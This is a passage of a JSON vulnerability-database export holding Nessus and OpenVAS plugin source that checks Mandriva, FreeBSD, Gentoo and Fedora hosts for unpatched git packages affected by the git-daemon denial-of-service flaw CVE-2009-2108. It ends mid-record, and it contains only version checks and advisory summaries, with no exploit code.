exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Mandrake/release\")) audit(AUDIT_OS_NOT, \"Mandriva / Mandake Linux\");\nif (!get_kb_item(\"Host/Mandrake/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^(amd64|i[3-6]86|x86_64)$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Mandriva / Mandrake Linux\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"MDK2009.1\", reference:\"git-1.6.2.5-0.1mdv2009.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.1\", reference:\"git-arch-1.6.2.5-0.1mdv2009.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.1\", reference:\"git-core-1.6.2.5-0.1mdv2009.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.1\", reference:\"git-core-oldies-1.6.2.5-0.1mdv2009.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.1\", reference:\"git-cvs-1.6.2.5-0.1mdv2009.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.1\", reference:\"git-email-1.6.2.5-0.1mdv2009.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.1\", reference:\"git-svn-1.6.2.5-0.1mdv2009.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.1\", reference:\"gitk-1.6.2.5-0.1mdv2009.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.1\", reference:\"gitview-1.6.2.5-0.1mdv2009.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.1\", reference:\"gitweb-1.6.2.5-0.1mdv2009.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.1\", cpu:\"x86_64\", reference:\"lib64git-devel-1.6.2.5-0.1mdv2009.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.1\", cpu:\"i386\", reference:\"libgit-devel-1.6.2.5-0.1mdv2009.1\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.1\", reference:\"perl-Git-1.6.2.5-0.1mdv2009.1\", yank:\"mdv\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2018-11-13T17:08:42", "references": ["http://www.nessus.org/u?4a3105c0", "http://article.gmane.org/gmane.comp.version-control.git/120724", "http://www.nessus.org/u?363a2201"], "pluginID": "39408", "description": "SecurityFocus reports :\n\nGit is prone to a denial-of-service vulnerability because it fails to properly handle some client requests.\n\nAttackers can exploit this issue to cause a daemon process to enter an infinite loop. Repeated exploits may consume excessive system resources, resulting in a denial of service condition.", "edition": 5, "reporter": "Tenable", "published": "2009-06-16T00:00:00", "title": "FreeBSD : git -- denial of service vulnerability (d9b01c08-59b3-11de-828e-00e0815b8da8)", "type": "nessus", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "naslFamily": "FreeBSD Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-2108"], "modified": "2018-11-10T00:00:00", "cpe": ["cpe:/o:freebsd:freebsd", "p-cpe:/a:freebsd:freebsd:git"], "id": "FREEBSD_PKG_D9B01C0859B311DE828E00E0815B8DA8.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=39408", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the FreeBSD VuXML database :\n#\n# Copyright 2003-2018 Jacques Vidrine and contributors\n#\n# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,\n# HTML, PDF, PostScript, RTF and so forth) with or without modification,\n# are permitted provided that the following conditions are met:\n# 1. Redistributions of source code (VuXML) must retain the above\n# copyright notice, this list of conditions and the following\n# disclaimer as the first lines of this file unmodified.\n# 2. Redistributions in compiled form (transformed to other DTDs,\n# published online in any format, converted to PDF, PostScript,\n# RTF and other formats) must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer\n# in the documentation and/or other materials provided with the\n# distribution.\n# \n# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS\n# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,\n# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,\n# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(39408);\n script_version(\"1.13\");\n script_cvs_date(\"Date: 2018/11/10 11:49:42\");\n\n script_cve_id(\"CVE-2009-2108\");\n script_bugtraq_id(35338);\n\n script_name(english:\"FreeBSD : git -- denial of service vulnerability (d9b01c08-59b3-11de-828e-00e0815b8da8)\");\n script_summary(english:\"Checks for updated package in pkg_info output\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote FreeBSD host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"SecurityFocus reports :\n\nGit is prone to a denial-of-service vulnerability because it fails to\nproperly handle some client requests.\n\nAttackers can exploit this issue to cause a daemon process to enter an\ninfinite loop. Repeated exploits may consume excessive system\nresources, resulting in a denial of service condition.\"\n );\n # https://www.redhat.com/archives/fedora-security-list/2009-June/msg00000.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?363a2201\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://article.gmane.org/gmane.comp.version-control.git/120724\"\n );\n # https://vuxml.freebsd.org/freebsd/d9b01c08-59b3-11de-828e-00e0815b8da8.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?4a3105c0\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_cwe_id(399);\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:git\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:freebsd:freebsd\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2009/06/04\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2009/06/15\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2009/06/16\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2009-2018 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"FreeBSD Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/FreeBSD/release\", \"Host/FreeBSD/pkg_info\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"freebsd_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/FreeBSD/release\")) audit(AUDIT_OS_NOT, \"FreeBSD\");\nif (!get_kb_item(\"Host/FreeBSD/pkg_info\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\n\nif (pkg_test(save_report:TRUE, pkg:\"git<1.6.3.2_1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:pkg_report_get());\n else security_warning(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2018-09-02T00:03:11", "references": ["https://security.gentoo.org/glsa/200907-05"], "pluginID": "39776", "description": "The remote host is affected by the vulnerability described in GLSA-200907-05 (git: git-daemon Denial of Service)\n\n Shawn O. Pearce reported that git-daemon runs into an infinite loop when handling requests that contain unrecognized arguments.\n Impact :\n\n A remote unauthenticated attacker could send a specially crafted request to git-daemon, possibly leading to a Denial of Service (CPU consumption).\n Workaround :\n\n There is no known workaround at this time.", "edition": 5, "reporter": "Tenable", "published": "2009-07-13T00:00:00", "title": "GLSA-200907-05 : git: git-daemon Denial of Service", "type": "nessus", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "naslFamily": "Gentoo Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-2108"], "modified": "2018-07-11T00:00:00", "cpe": ["p-cpe:/a:gentoo:linux:git", "cpe:/o:gentoo:linux"], "id": "GENTOO_GLSA-200907-05.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=39776", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Gentoo Linux Security Advisory GLSA 200907-05.\n#\n# The advisory text is Copyright (C) 2001-2015 Gentoo Foundation, Inc.\n# and licensed under the Creative Commons - Attribution / Share Alike \n# license. See http://creativecommons.org/licenses/by-sa/3.0/\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(39776);\n script_version(\"1.10\");\n script_cvs_date(\"Date: 2018/07/11 17:09:25\");\n\n script_cve_id(\"CVE-2009-2108\");\n script_bugtraq_id(35338);\n script_xref(name:\"GLSA\", value:\"200907-05\");\n\n script_name(english:\"GLSA-200907-05 : git: git-daemon Denial of Service\");\n script_summary(english:\"Checks for updated package(s) in /var/db/pkg\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Gentoo host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"The remote host is affected by the vulnerability described in GLSA-200907-05\n(git: git-daemon Denial of Service)\n\n Shawn O. Pearce reported that git-daemon runs into an infinite loop\n when handling requests that contain unrecognized arguments.\n \nImpact :\n\n A remote unauthenticated attacker could send a specially crafted\n request to git-daemon, possibly leading to a Denial of Service (CPU\n consumption).\n \nWorkaround :\n\n There is no known workaround at this time.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security.gentoo.org/glsa/200907-05\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"All git users should upgrade to the latest version:\n # emerge --sync\n # emerge --ask --oneshot --verbose '>=dev-util/git-1.6.3.3'\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_cwe_id(399);\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:gentoo:linux:git\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:gentoo:linux\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2009/07/12\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2009/07/13\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2009-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Gentoo Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Gentoo/release\", \"Host/Gentoo/qpkg-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"qpkg.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Gentoo/release\")) audit(AUDIT_OS_NOT, \"Gentoo\");\nif (!get_kb_item(\"Host/Gentoo/qpkg-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\n\nif (qpkg_check(package:\"dev-util/git\", unaffected:make_list(\"ge 1.6.3.3\"), vulnerable:make_list(\"lt 1.6.3.3\"))) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:qpkg_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = qpkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"git\");\n}\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2018-09-01T23:47:17", "references": ["http://www.nessus.org/u?fbf54ec2", "https://bugzilla.redhat.com/show_bug.cgi?id=505761"], "pluginID": "39513", "description": "This update fixes a Denial of Service vulnerability in git-daemon.\n\nNote that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "edition": 4, "reporter": "Tenable", "published": "2009-06-25T00:00:00", "title": "Fedora 11 : git-1.6.2.5-1.fc11 (2009-6936)", "type": "nessus", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "naslFamily": "Fedora Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-2108"], "modified": "2015-10-21T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:git", "cpe:/o:fedoraproject:fedora:11"], "id": "FEDORA_2009-6936.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=39513", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory 2009-6936.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(39513);\n script_version (\"$Revision: 1.13 $\");\n script_cvs_date(\"$Date: 2015/10/21 22:50:38 $\");\n\n script_cve_id(\"CVE-2009-2108\");\n script_bugtraq_id(35338);\n script_xref(name:\"FEDORA\", value:\"2009-6936\");\n\n script_name(english:\"Fedora 11 : git-1.6.2.5-1.fc11 (2009-6936)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update fixes a Denial of Service vulnerability in git-daemon.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=505761\"\n );\n # https://lists.fedoraproject.org/pipermail/package-announce/2009-June/025437.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?fbf54ec2\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected git package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_cwe_id(399);\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:git\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:11\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2009/06/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2009/06/25\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2009-2015 Tenable Network Security, Inc.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = eregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^11([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 11.x\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"FC11\", reference:\"git-1.6.2.5-1.fc11\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"git\");\n}\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}], "openvas": [{"lastseen": "2018-04-06T11:40:15", "references": [], "pluginID": "136141256231064519", "description": "The remote host is missing an update to git\nannounced via advisory MDVSA-2009:176.", "edition": 1, "reporter": "Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com", "published": "2009-08-17T00:00:00", "type": "openvas", "title": "Mandrake Security Advisory MDVSA-2009:176 (git)", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "naslFamily": "Mandrake Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-2108"], "modified": "2018-04-06T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=136141256231064519", "id": "OPENVAS:136141256231064519", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: mdksa_2009_176.nasl 9350 2018-04-06 07:03:33Z cfischer $\n# Description: Auto-generated from advisory MDVSA-2009:176 (git)\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# or at your option, GNU General Public License version 3,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"A vulnerability has been found and corrected in git:\n\ngit-daemon in git 1.4.4.5 through 1.6.3 allows remote attackers to\ncause a denial of service (infinite loop and CPU consumption) via a\nrequest containing extra unrecognized arguments (CVE-2009-2108).\n\nThis update provides fixes for this vulnerability.\n\nAffected: Enterprise Server 5.0\";\ntag_solution = \"To upgrade automatically use MandrakeUpdate or urpmi. The verification\nof md5 checksums and GPG signatures is performed automatically for you.\n\nhttps://secure1.securityspace.com/smysecure/catid.html?in=MDVSA-2009:176\";\ntag_summary = \"The remote host is missing an update to git\nannounced via advisory MDVSA-2009:176.\";\n\n \n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.64519\");\n script_version(\"$Revision: 9350 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-04-06 09:03:33 +0200 (Fri, 06 Apr 2018) $\");\n script_tag(name:\"creation_date\", value:\"2009-08-17 16:54:45 +0200 (Mon, 17 Aug 2009)\");\n script_cve_id(\"CVE-2009-2108\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_name(\"Mandrake Security Advisory MDVSA-2009:176 (git)\");\n\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"Mandrake Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/mandriva_mandrake_linux\", \"ssh/login/rpms\");\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-rpm.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = isrpmvuln(pkg:\"git\", rpm:\"git~1.6.0.6~0.1mdvmes5\", rls:\"MNDK_mes5\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-arch\", rpm:\"git-arch~1.6.0.6~0.1mdvmes5\", rls:\"MNDK_mes5\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-core\", rpm:\"git-core~1.6.0.6~0.1mdvmes5\", rls:\"MNDK_mes5\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-core-oldies\", rpm:\"git-core-oldies~1.6.0.6~0.1mdvmes5\", rls:\"MNDK_mes5\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-cvs\", rpm:\"git-cvs~1.6.0.6~0.1mdvmes5\", rls:\"MNDK_mes5\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-email\", rpm:\"git-email~1.6.0.6~0.1mdvmes5\", rls:\"MNDK_mes5\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"gitk\", rpm:\"gitk~1.6.0.6~0.1mdvmes5\", rls:\"MNDK_mes5\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"git-svn\", rpm:\"git-svn~1.6.0.6~0.1mdvmes5\", rls:\"MNDK_mes5\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"gitview\", rpm:\"gitview~1.6.0.6~0.1mdvmes5\", rls:\"MNDK_mes5\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"gitweb\", rpm:\"gitweb~1.6.0.6~0.1mdvmes5\", rls:\"MNDK_mes5\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"libgit-devel\", rpm:\"libgit-devel~1.6.0.6~0.1mdvmes5\", rls:\"MNDK_mes5\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"perl-Git\", rpm:\"perl-Git~1.6.0.6~0.1mdvmes5\", rls:\"MNDK_mes5\")) != NULL) {\n report += res;\n}\nif ((res = isrpmvuln(pkg:\"lib64git-devel\", rpm:\"lib64git-devel~1.6.0.6~0.1mdvmes5\", rls:\"MNDK_mes5\")) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2018-04-06T11:37:54", "references": ["https://bugzilla.redhat.com/show_bug.cgi?id=502393", "https://bugzilla.redhat.com/show_bug.cgi?id=505761", "https://bugzilla.redhat.com/show_bug.cgi?id=490602"], "pluginID": "136141256231064292", "description": "The remote host is missing an update to git\nannounced via advisory FEDORA-2009-6839.", "edition": 1, "reporter": "Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com", "published": "2009-06-30T00:00:00", "type": "openvas", "title": "Fedora Core 10 FEDORA-2009-6839 (git)", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "naslFamily": "Fedora Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-2108"], "modified": "2018-04-06T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=136141256231064292", "id": "OPENVAS:136141256231064292", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: fcore_2009_6839.nasl 9350 2018-04-06 07:03:33Z cfischer $\n# Description: Auto-generated from advisory FEDORA-2009-6839 (git)\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# or at your option, GNU General Public License version 3,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"Update Information:\n\nThis update fixes a Denial of Service vulnerability in git-daemon. It also\nfixes minor issues when using git-cvsimport and the formatting of the git-daemon\nxinetd service description.\n\nChangeLog:\n\n* Fri Jun 19 2009 Todd Zullinger - 1.6.0.6-4\n- Fix git-daemon hang on invalid input (CVE-2009-2108, bug 505761)\n- Ignore Branches output from cvsps-2.2b1 (bug 490602)\n- Escape newline in git-daemon xinetd description (bug 502393)\";\ntag_solution = \"Apply the appropriate updates.\n\nThis update can be installed with the yum update program. Use \nsu -c 'yum update git' at the command line.\nFor more information, refer to Managing Software with yum,\navailable at http://docs.fedoraproject.org/yum/.\n\nhttps://secure1.securityspace.com/smysecure/catid.html?in=FEDORA-2009-6839\";\ntag_summary = \"The remote host is missing an update to git\nannounced via advisory FEDORA-2009-6839.\";\n\n\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.64292\");\n script_version(\"$Revision: 9350 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-04-06 09:03:33 +0200 (Fri, 06 Apr 2018) $\");\n script_tag(name:\"creation_date\", value:\"2009-06-30 00:29:55 +0200 (Tue, 30 Jun 2009)\");\n script_cve_id(\"CVE-2009-2108\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_name(\"Fedora Core 10 FEDORA-2009-6839 (git)\");\n\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\");\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name : \"URL\" , value : \"https://bugzilla.redhat.com/show_bug.cgi?id=505761\");\n script_xref(name : \"URL\" , value : \"https://bugzilla.redhat.com/show_bug.cgi?id=502393\");\n script_xref(name : \"URL\" , value : \"https://bugzilla.redhat.com/show_bug.cgi?id=490602\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-rpm.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = isrpmvuln(pkg:\"emacs-git\", rpm:\"emacs-git~1.6.0.6~4.fc10\", rls:\"FC10\")) != NULL) {\n report += res;\n}\nif ((res = 